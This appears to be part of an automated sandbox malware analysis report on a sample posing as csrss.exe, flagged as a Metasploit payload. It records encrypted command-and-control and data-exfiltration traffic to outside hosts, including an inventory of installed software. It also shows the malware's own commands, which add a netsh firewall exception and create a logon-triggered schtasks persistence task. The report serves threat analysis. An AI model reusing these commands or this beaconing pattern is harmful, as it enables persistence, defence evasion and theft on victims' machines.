2021-11-29 04:59:59 UTC	16	OUT	Data Raw: 4b 42 34 34 36 34 35 33 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 38 34 31 34 35 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 31 36 20 28 4b 42 34 34 38 34 32 37 33 29 20 Data Ascii: KB4464538) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB4484145) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Security Update for Microsoft Excel 2016 (KB4484273)
2021-11-29 05:00:28 UTC	21	IN	HTTP/1.1 404 Not Found Date: Mon, 29 Nov 2021 05:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B7anlfhZJ5R9hu6L90yfCtmBgrgTE%2BHbVwwOcotAdbGLLVKKKuJseHAFSsGEpz9PTTkiiCxPVSXteGPlbmPuR45fU6yBX41jUrjxALvR0n86jchkfzwAV1qFGAwG3CcnA6Hs%2BamB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b594513ba4074e1-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-29 05:00:28 UTC	22	IN	Data Raw: 34 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 39 70 74 20 22 56 65 72 64 61 6e 61 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 Data Ascii: 4a8<!DOCTYPE html><html><head> <meta charset="utf-8" /> <title>Not Found (#404)</title> <style> body { font: normal 9pt "Verdana"; color: #000; background: #fff; } h1 {
2021-11-29 05:00:28 UTC	23	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49711	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-29 05:00:08 UTC	19	OUT	POST /api/poll HTTP/1.1 Host: server1.trumops.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Length: 640 Accept-Encoding: gzip
2021-11-29 05:00:08 UTC	19	OUT	Data Raw: 2f 79 53 59 2f 52 74 68 57 52 41 43 62 6c 63 68 6f 71 79 44 38 72 73 6d 77 43 6e 49 48 2f 6b 50 7a 6a 6b 44 76 75 4c 33 6a 52 42 44 54 46 50 59 56 4e 6e 73 44 64 37 33 66 48 46 38 79 44 31 58 4d 69 31 7a 45 77 45 47 69 6d 58 6a 6c 64 38 75 2f 75 4f 33 66 52 52 76 72 57 36 44 73 38 7a 6d 47 57 41 77 6d 4f 53 65 47 4b 54 72 6b 58 6d 46 70 4f 46 30 47 46 32 34 67 78 49 71 31 7a 4e 37 46 43 4d 31 2f 70 75 63 53 6f 64 2b 31 6f 42 48 57 74 69 4f 6d 63 6a 78 49 37 5a 43 46 4b 4f 41 4c 54 64 70 63 69 38 4f 5a 53 55 4d 4c 62 42 57 46 35 57 44 73 5a 69 44 38 50 53 5a 42 62 2b 45 70 6e 30 59 48 78 41 61 62 67 59 74 73 42 39 2b 70 64 2b 77 50 56 6e 69 6a 75 43 53 2b 57 72 39 51 33 37 37 32 64 76 63 36 78 70 34 70 64 58 49 43 41 43 50 64 33 75 37 30 67 78 79 69 33 43 Data Ascii: /ySY/RthWRACblchoqyD8rsmwCnIH/kPzjkDvuL3jRBDTFPYVNnsDd73fHF8yD1XMi1zEwEGimXjld8u/uO3fRRvrW6Ds8zmGWAwmOSeGKTrkXmFpOF0GF24gxIq1zN7FCM1/pucSod+1oBHWtiOmcjxI7ZCFKOALTdpci8OZSUMLbBWF5WDsZiD8PSZBb+Epn0YHxAabgYtsB9+pd+wPVnijuCS+Wr9Q3772dvc6xp4pdXICACPd3u70gxyi3C
2021-11-29 05:00:36 UTC	23	IN	HTTP/1.1 404 Not Found Date: Mon, 29 Nov 2021 05:00:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 set-cookie: PHPSESSID=4o5ga7ihhcjjbknov43oerukp4; path=/; HttpOnly expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache access-control-allow-credentials: false CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HnfTdmiJIL6QwodnGy1qAIGD3ad%2BkpUxZnql3BsNN1E22cF%2BvPb12uDSP2G4CkdJAZgVa1YTXi18iHkeMzyp%2FrZydwQnKhY4H89MDKwtekmpsUX4QvlMCM61rsbSSARtfFeL75l8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b594547d8f44a7f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-29 05:00:36 UTC	24	IN	Data Raw: 65 38 0d 0a 38 6f 64 4a 58 37 36 7a 30 48 67 5a 54 69 4c 77 37 2b 67 31 37 4c 7a 66 2f 79 38 37 7a 69 2f 76 38 45 46 6c 6e 36 35 46 32 62 6b 34 50 39 6c 32 32 7a 54 4a 69 39 71 50 4c 2f 32 76 6e 62 57 76 53 38 39 53 5a 5a 4a 41 70 68 45 6e 6f 58 74 66 32 5a 4f 73 4b 2f 63 46 62 52 42 72 47 35 52 61 64 51 32 56 71 58 4b 6b 72 49 71 52 45 52 61 4b 47 42 33 58 66 30 50 73 4a 38 67 67 33 49 2f 55 6f 4a 56 71 2f 4d 57 4b 35 75 45 5a 61 50 35 52 78 32 46 50 44 31 47 55 57 41 68 74 46 4b 53 49 42 46 4d 34 78 77 7a 64 59 76 73 65 57 67 53 66 33 4c 47 50 7a 78 54 6f 76 75 55 71 79 42 6f 31 62 46 42 75 67 6e 6f 45 67 6e 62 54 49 30 77 50 72 34 32 6e 4e 5a 61 39 72 4d 61 58 30 43 58 43 79 59 6d 79 47 41 3d 3d 0d 0a Data Ascii: e88odJX76z0HgZTiLw7+g17Lzf/y87zi/v8EFln65F2bk4P9l22zTJi9qPL/2vnbWvS89SZZJAphEnoXtf2ZOsK/cFbRBrG5RadQ2VqXKkrIqRERaKGB3Xf0PsJ8gg3I/UoJVq/MWK5uEZaP5Rx2FPD1GUWAhtFKSIBFM4xwzdYvseWgSf3LGPzxTovuUqyBo1bFBugnoEgnbTI0wPr42nNZa9rMaX0CXCyYmyGA==
2021-11-29 05:00:36 UTC	24	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49712	104.21.34.203	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-29 05:00:08 UTC	20	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 132 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-29 05:00:08 UTC	20	OUT	Data Raw: 6d 43 47 65 6e 68 48 30 70 49 6e 35 7a 4d 76 55 5a 4e 67 6f 77 2f 37 47 4c 41 43 4d 35 51 62 57 54 41 78 6a 68 74 5a 52 35 57 41 69 6b 32 47 74 34 46 37 50 65 37 77 78 6a 35 4b 39 32 6e 66 4f 37 70 6f 65 4b 69 78 4a 6e 33 66 34 54 4d 69 37 31 36 59 39 2b 33 72 5a 71 74 55 78 50 39 4c 57 52 6d 31 55 6e 65 4e 58 6f 52 4a 77 72 6f 4e 64 2f 35 59 5a 74 34 73 61 72 47 72 67 32 61 41 43 55 67 3d 3d Data Ascii: mCGenhH0pIn5zMvUZNgow/7GLACM5QbWTAxjhtZR5WAik2Gt4F7Pe7wxj5K92nfO7poeKixJn3f4TMi716Y9+3rZqtUxP9LWRm1UneNXoRJwroNd/5YZt4sarGrg2aACUg==
2021-11-29 05:00:08 UTC	20	IN	HTTP/1.1 200 OK Date: Mon, 29 Nov 2021 05:00:08 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EqozWxUv3NtPUY1mDSrRo484bBZOYSzd2Fvkarn64SH8o3Zm3xedYb6h5e84y9DjxH74%2FtWUNYJlYTJm7gs%2FxxVrwD0h8gCvPq0KMR4F4xM3Br%2BlYVb98RabI4%2Fq%2By8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b594548bbc44ec8-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49717	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-29 05:00:21 UTC	21	OUT	GET /api/cdn?c=46ef84abf2b294f6&uuid=fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1 HTTP/1.1 Host: server1.trumops.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2021-11-29 05:00:49 UTC	24	IN	HTTP/1.1 200 OK Date: Mon, 29 Nov 2021 05:00:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 access-control-allow-credentials: false CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MzhRMKg%2FDs%2FwPCC8L8i5g3J2NJUQQKH%2FiJDuVuQTkH8nBotKs48dCZmaaZTbZXjVfNjatZkPRzFUs8LpQBQsH9q9LnXAjUsiCThn12RYWT84EbOb6gjqyhlg%2BADzjz19SQ4we%2FU3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b59459a6bc14eb6-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-29 05:00:49 UTC	25	IN	Data Raw: 31 33 34 0d 0a 76 76 62 4b 4a 4e 52 59 45 59 4e 75 47 5a 38 69 74 4f 65 42 39 72 56 36 4c 46 54 43 38 4b 6d 65 6b 46 78 36 6b 6c 57 73 71 61 65 4e 6c 2b 6d 51 75 39 4e 75 54 4c 41 6c 67 70 6c 7a 6f 2f 4e 47 48 68 41 64 64 65 58 68 50 35 6a 31 4c 54 48 6d 6d 49 6e 6b 78 7a 55 41 4f 5a 76 44 6c 72 44 41 66 48 5a 73 58 7a 76 6a 64 65 53 7a 72 4f 38 5a 4e 30 48 44 75 75 7a 46 36 30 65 54 33 44 47 6d 47 2f 36 6b 33 46 79 34 57 63 78 39 66 52 6e 31 36 79 63 6e 47 77 34 5a 78 4a 35 50 61 70 64 70 78 6c 7a 2b 48 32 6c 31 48 51 7a 38 37 51 31 63 6f 74 5a 64 70 67 51 31 69 31 30 4d 50 73 51 4d 39 54 62 2f 4c 35 71 46 55 35 6f 37 5a 34 4c 44 50 53 45 61 57 4b 39 44 49 6c 4b 37 6e 47 41 72 55 77 58 78 32 75 6d 33 65 30 4e 57 6f 44 46 6b 6b 70 74 43 53 54 67 4c 2f 65 Data Ascii: 134vvbKJNRYEYNuGZ8itOeB9rV6LFTC8KmekFx6klWsqaeNl+mQu9NuTLAlgplzo/NGHhAddeXhP5j1LTHmmInkxzUAOZvDlrDAfHZsXzvjdeSzrO8ZN0HDuuzF60eT3DGmG/6k3Fy4Wcx9fRn16ycnGw4ZxJ5Papdpxlz+H2l1HQz87Q1cotZdpgQ1i10MPsQM9Tb/L5qFU5o7Z4LDPSEaWK9DIlK7nGArUwXx2um3e0NWoDFkkptCSTgL/e
2021-11-29 05:00:49 UTC	25	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49748	172.67.207.136	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-29 05:00:56 UTC	25	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 160 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-29 05:00:56 UTC	26	OUT	Data Raw: 51 56 35 62 55 79 35 66 2b 44 33 6b 45 38 47 38 4e 6c 6c 48 2b 51 39 65 49 6c 4b 78 4f 48 66 2f 4d 76 63 55 41 57 70 47 63 52 50 4a 73 4f 30 75 52 31 6d 2f 70 38 71 34 7a 79 41 57 36 6f 72 6f 38 53 4c 42 34 68 62 4a 6a 52 30 4c 49 73 4d 6f 4f 32 30 78 39 54 6c 47 76 42 43 68 65 4d 67 4a 47 38 79 53 6d 50 4c 48 62 63 34 4c 37 6f 46 45 79 2b 64 63 69 53 64 52 70 61 61 64 67 61 63 47 36 6d 2b 72 79 46 47 53 65 33 72 57 65 4c 78 62 4f 78 71 73 78 7a 78 47 30 32 61 6d 4d 67 3d 3d Data Ascii: QV5bUy5f+D3kE8G8NllH+Q9eIlKxOHf/MvcUAWpGcRPJsO0uR1m/p8q4zyAW6oro8SLB4hbJjR0LIsMoO20x9TlGvBCheMgJG8ySmPLHbc4L7oFEy+dciSdRpaadgacG6m+ryFGSe3rWeLxbOxqsxzxG02amMg==
2021-11-29 05:00:56 UTC	26	IN	HTTP/1.1 200 OK Date: Mon, 29 Nov 2021 05:00:56 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mg8%2F5YobUa5pxz53M53FUGTfUyoP8uiMuOudXjQnoG3Zo0%2FY7qXX8ZvAzjvqljLKYR%2BOhobWHSJHMBc9tI6JIjPasHehN3caTRCcMnwdO%2FZg5SXrtgWxucmeKYMZ2gs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b5946750fabd6e1-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49791	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-29 05:01:22 UTC	26	OUT	POST /api/poll HTTP/1.1 Host: server1.trumops.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Length: 660 Accept-Encoding: gzip
2021-11-29 05:01:22 UTC	27	OUT	Data Raw: 31 34 63 53 6a 62 38 49 7a 4d 4a 52 55 39 4c 56 75 53 52 72 72 4e 70 49 42 53 43 67 70 44 75 5a 51 72 57 62 68 68 49 45 50 52 33 66 47 6f 7a 4a 68 77 5a 48 69 2f 50 73 4b 75 33 72 57 61 7a 6f 38 36 43 66 76 38 48 5a 53 6f 78 58 75 49 42 33 62 39 5a 73 68 34 71 30 79 74 6b 42 2b 6a 76 6c 36 6a 37 71 4a 45 6b 35 47 2f 69 62 59 55 6e 47 64 57 44 78 58 4e 48 42 33 6a 4a 55 73 32 41 33 62 72 35 79 2f 68 63 78 51 67 30 2b 53 52 76 54 5a 62 62 66 4f 78 68 6a 6a 63 53 2f 4f 61 47 66 72 65 74 49 48 4a 79 48 49 6f 72 73 67 6e 7a 50 61 39 43 45 36 71 74 67 50 79 63 71 35 52 65 6b 44 4a 4b 6d 36 57 6e 34 39 36 57 67 4b 53 48 59 79 4f 37 6a 30 2b 4e 70 37 63 32 4e 39 39 75 56 56 5a 36 63 59 38 4f 61 50 70 33 63 4c 68 7a 44 58 69 79 63 6f 6d 35 6f 36 48 54 44 6c 68 51 Data Ascii: 14cSjb8IzMJRU9LVuSRrrNpIBSCgpDuZQrWbhhIEPR3fGozJhwZHi/PsKu3rWazo86Cfv8HZSoxXuIB3b9Zsh4q0ytkB+jvl6j7qJEk5G/ibYUnGdWDxXNHB3jJUs2A3br5y/hcxQg0+SRvTZbbfOxhjjcS/OaGfretIHJyHIorsgnzPa9CE6qtgPycq5RekDJKm6Wn496WgKSHYyO7j0+Np7c2N99uVVZ6cY8OaPp3cLhzDXiycom5o6HTDlhQ

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: csrss.exe PID: 6132 Parent PID: 4876

General

Start time:	05:59:31
Start date:	29/11/2021
Path:	C:\Users\user\Desktop\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\csrss.exe"
Imagebase:	0x400000
File size:	4527104 bytes
MD5 hash:	EE7331757219F7A223712025F3FC70BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: TrustedInstaller.exe PID: 6236 Parent PID: 572

General

Start time:	05:59:39
Start date:	29/11/2021
Path:	C:\Windows\servicing\TrustedInstaller.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\servicing\TrustedInstaller.exe
Imagebase:	0x7ff74c530000
File size:	131584 bytes
MD5 hash:	4578046C54A954C917BB393B70BA0AEB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: csrss.exe PID: 1240 Parent PID: 6132

General

Start time:	05:59:39
Start date:	29/11/2021
Path:	C:\Users\user\Desktop\csrss.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\csrss.exe
Imagebase:	0x400000
File size:	4527104 bytes
MD5 hash:	EE7331757219F7A223712025F3FC70BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 1952 Parent PID: 572

General

Start time:	05:59:40
Start date:	29/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6396 Parent PID: 1952

General

Start time:	05:59:40
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6132 -ip 6132
Imagebase:	0x1300000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6476 Parent PID: 6132

General

Start time:	05:59:41
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 928
Imagebase:	0x1300000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5696 Parent PID: 1240

General

Start time:	05:59:49
Start date:	29/11/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
Imagebase:	0x7ff7d7740000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 7144 Parent PID: 5696

General

Start time:	05:59:50
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: netsh.exe PID: 6124 Parent PID: 5696

General

Start time:	05:59:50
Start date:	29/11/2021
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
Imagebase:	0x7ff7d4de0000
File size:	92672 bytes
MD5 hash:	98CC37BBF363A38834253E22C80A8F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: svchost.exe PID: 5340 Parent PID: 572

General

Start time:	05:59:51
Start date:	29/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: csrss.exe PID: 1864 Parent PID: 1240

General

Start time:	05:59:51
Start date:	29/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\rss\csrss.exe ""
Imagebase:	0x400000
File size:	4527104 bytes
MD5 hash:	EE7331757219F7A223712025F3FC70BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000000B.00000002.573428133.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000000B.00000002.577731053.0000000004500000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 56%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: WerFault.exe PID: 7136 Parent PID: 1952

General

Start time:	05:59:52
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1240 -ip 1240
Imagebase:	0x1300000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 5664 Parent PID: 1240

General

Start time:	05:59:53
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1240 -s 828
Imagebase:	0x1300000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 5140 Parent PID: 1864

General

Start time:	05:59:59
Start date:	29/11/2021
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
Imagebase:	0x7ff683150000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4200 Parent PID: 5140

General

Start time:	06:00:00
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: schtasks.exe PID: 5988 Parent PID: 1864

General

Start time:	06:00:00
Start date:	29/11/2021
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /delete /tn ScheduledUpdate /f
Imagebase:	0x7ff683150000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: csrss.exe PID: 2060 Parent PID: 3352

General

Start time:	06:00:00
Start date:	29/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\rss\csrss.exe"
Imagebase:	0x400000
File size:	4527104 bytes
MD5 hash:	EE7331757219F7A223712025F3FC70BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000012.00000003.385976066.000000000518A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000012.00000002.427208507.0000000004500000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000012.00000002.413315697.0000000000400000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

